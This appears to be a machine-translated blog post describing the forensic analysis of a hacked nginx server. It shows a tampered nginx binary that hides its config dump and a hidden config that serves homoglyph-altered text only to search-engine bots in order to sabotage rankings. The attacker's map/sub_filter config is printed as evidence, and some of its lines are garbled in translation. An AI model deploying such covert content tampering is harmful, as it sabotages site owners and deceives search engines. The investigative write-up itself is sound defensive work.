当“ a”不等于“ a”时。 在一次黑客袭击之后

我的一个朋友发生了一个不愉快的故事。 但是,对于米哈伊尔来说,这真是令人不快,但对我来说也很有趣。

我必须说,我的朋友是一个UNIX用户:他可以自己安装系统,安装mysqlphp并进行最简单的nginx设置。
他有十二个专门从事建筑工具的网站。

这些专用于电锯的网站之一位于TOP搜索引擎中。 该网站是非营利性评论者,但有人碰到他的喉咙并袭击了他。 要么DDoS ,然后是蛮力,然后评论将发表淫秽内容,并将滥用行为发送给托管服务器和ILV。
突然,一切都平静下来了,这种平静并不美好,该站点开始逐渐离开结果的顶端。

图片

那是一句话,然后是管理自行车本身。

电话响了,时间快要睡觉了:“三亚,您不会看我的服务器吗? 在我看来,他们砍死了我,我无法证明这一点,但是这种感觉并没有离开第三周。 也许我只需要接受偏执狂治疗?”

接下来是一个半小时的讨论,总结如下:

  • 繁殖地肥沃。
  • 破解者可以获得超级用户权限;
  • 攻击(如果发生)专门针对此站点;
  • 问题区域是固定的,您只需要了解是否存在渗透事实;
  • 黑客无法触及站点代码和数据库。

关于最后一段。

图片

只有白色IP前端正在向世界展示。 后端和前端之间没有交换,除了http(s)之外,用户/密码不同,密钥不交换。 在灰色地址上,除80/443以外的所有端口都已关闭。 只有迈克尔完全信任的两个用户才知道白色IP后端。

Debian 9安装在前端,在通话时,系统已通过外部防火墙与外界隔离并停止了运行。

“好吧,请允许我进入。”我决定将睡眠时间推迟一个小时。 “我会亲眼看到。”

以下:

$ grep -F PRETTY_NAME /etc/*releas* PRETTY_NAME="Debian GNU/Linux 9 (stretch)" $ `echo $SHELL` --version GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu) $ nginx -v nginx version: nginx/1.10.3 $ gdb --version GNU gdb (Debian 8.2.1-2) 8.2.1 

寻找可能的骇客


我首先以救援模式启动服务器。 我安装磁盘,翻阅身份验证, 历史记录 ,系统日志等,如果可能,请检查文件创建日期,尽管我知道正常的破解者会在他身后“冒汗”,而Misha在搜寻自己时已经“踩踏”了。

我从普通模式开始,尤其是在不知道要寻找什么的同时,我正在研究配置。 他主要对nginx感兴趣,因为一般而言,前端没有其他东西。
这些配置很小,结构合理,可以打包成十几个文件;我只是通过cat'依次浏览它们。 一切似乎都很干净,但是您永远不会错过其中的include ,我将进行完整列出:

 $ nginx -T nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful 

我不明白:“商家信息在哪里?”

 $ nginx -V nginx version: nginx/1.10.3 TLS SNI support enabled configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module 

第二个添加到列表问题中:“为什么要使用这么古老的nginx版本?”

此外,系统认为该版本是全新安装的:

 $ dpkg -l nginx | grep "[n]ginx" ii nginx 1.14.2-2+deb10u1 all small, powerful, scalable web/proxy server 

我在打电话:
-Misha,您为什么要重建nginx
-好的,我什至不知道该怎么做!
-好吧,睡吧...

Nginx进行了明确的重组,并且出于某种原因隐藏了“ -T”的列表。 毫无疑问,黑客攻击是可以接受的,并且(因为Misha始终用新服务器替换了服务器),请考虑已解决的问题。

确实,由于某人获得了root特权 ,因此仅重新安装系统并查找在那里消耗很少的东西是有意义的,但是这次好奇心击败了梦想。 如何找出他们想对我们隐藏的东西?

让我们尝试跟踪:

 $ strace nginx -T 

我们看穿的痕迹显然是行数不够啦

 write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21 write(1, "... write(1, "\n", 1 

为了好玩,比较结论

 $ strace nginx -T 2>&1 | wc -l 264 $ strace nginx -t 2>&1 | wc -l 264 

我认为代码的一部分/src/core/nginx.c

  case 't': ngx_test_config = 1; break; case 'T': ngx_test_config = 1; ngx_dump_config = 1; break; 

简化为以下形式:

  case 't': ngx_test_config = 1; break; case 'T': ngx_test_config = 1; //ngx_dump_config = 1; break; 



  case 't': ngx_test_config = 1; break; case 'T': ngx_test_config = 1; ngx_dump_config = 0; break; 

因此,不会显示按-T列出。

但是如何查看我们的配置?


如果我的想法是正确的,并且问题仅存在于变量ngx_dump_config中,我们将尝试使用gdb进行安装,因为存在密钥--with-cc-opt -g ,并且我们希望优化-O2不会对我们造成伤害。 同时,由于我不知道在'T':情况下如何处理ngx_dump_config ,因此我们不会调用此块,而是使用案例't'进行安装

为什么我可以同时使用“ -t”和“ -T”
if(ngx_test_config)内部处理if(ngx_dump_config)块:
  if (ngx_test_config) { if (!ngx_quiet_mode) { ngx_log_stderr(0, "configuration file %s test is successful", cycle->conf_file.data); } if (ngx_dump_config) { cd = cycle->config_dump.elts; for (i = 0; i < cycle->config_dump.nelts; i++) { ngx_write_stdout("# configuration file "); (void) ngx_write_fd(ngx_stdout, cd[i].name.data, cd[i].name.len); ngx_write_stdout(":" NGX_LINEFEED); b = cd[i].buffer; (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos); ngx_write_stdout(NGX_LINEFEED); } } return 0; } 

当然,如果在此部分中更改了代码,而不是大小写“ T” :,那么我的方法将不起作用。

测试nginx.conf
已经凭经验解决了这个问题,发现对于恶意软件的操作,需要使用以下形式的最小nginx配置:

 events { } http { include /etc/nginx/sites-enabled/*; } 

为了简洁起见,我们将使用它。

运行调试器
 $ gdb --silent --args nginx -t Reading symbols from nginx...done. (gdb) break main Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188. (gdb) run Starting program: nginx -t [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188 188 src/core/nginx.c: No such file or directory. (gdb) print ngx_dump_config=1 $1 = 1 (gdb) continue Continuing. nginx: the configuration file /etc/nginx/nginx.conf syntax is ok nginx: configuration file /etc/nginx/nginx.conf test is successful # configuration file /etc/nginx/nginx.conf: events { } http { map $http_user_agent $sign_user_agent { "~*yandex.com/bots" 1; "~*www.google.com/bot.html" 1; default 0; } map $uri $sign_uri { "~*/wp-" 1; default 0; } map :$sign_user_agent:$sign_uri $sign_o { :1:0 o; default ; } map :$sign_user_agent:$sign_uri $sign_a { :1:0 a; default ; } sub_filter_once off; sub_filter '' $sign_o; sub_filter '' $sign_a; include /etc/nginx/sites-enabled/*; } # configuration file /etc/nginx/sites-enabled/default: [Inferior 1 (process 32581) exited normally] (gdb) quit 


步骤如下:

  • main()函数中设置一个断点
  • 运行程序
  • 更改定义config的输出的变量的值ngx_dump_config = 1
  • 继续/结束程序

如您所见,实际配置与我们的不同,我们从中选择一个虚假的部分:

 map $http_user_agent $sign_user_agent { "~*yandex.com/bots" 1; "~*www.google.com/bot.html" 1; default 0; } map $uri $sign_uri { "~*/wp-" 1; default 0; } map :$sign_user_agent:$sign_uri $sign_o { :1:0 o; default ; } map :$sign_user_agent:$sign_uri $sign_a { :1:0 a; default ; } sub_filter_once off; sub_filter '' $sign_o; sub_filter '' $sign_a; 

让我们按顺序考虑这里发生了什么。

User-Agent的yandex / google定义:

 map $http_user_agent $sign_user_agent { "~*yandex.com/bots" 1; "~*www.google.com/bot.html" 1; default 0; } 

WordPress服务页面不包括在内

 map $uri $sign_uri { "~*/wp-" 1; default 0; } 

对于同时属于上述两种情况的人

 map :$sign_user_agent:$sign_uri $sign_o { :1:0 o; default ; } map :$sign_user_agent:$sign_uri $sign_a { :1:0 a; default ; } 

html页面的文本中,将'o'更改为'o' ,将'a'更改为'a'

 sub_filter_once off; sub_filter '' $sign_o; sub_filter '' $sign_a; 

确实如此,微妙之处在于'a'!='A''o'!='O'相同

图片

因此,搜索引擎机器人会收到用拉丁语'a''o'稀释的修改后的垃圾,而不是正常的100%西里尔文字。 我不打算讨论这如何影响SEO,但这样的文字散列不太可能对SERP中的位置产生积极影响。

有幻想的家伙怎么说。

参考文献


使用GDB进行调试
gdb(1)-Linux手册页
strace(1)-Linux手册页
Nginx-模块ngx_http_sub_module
关于电锯,链锯和电锯

Source: https://habr.com/ru/post/zh-CN465355/


All Articles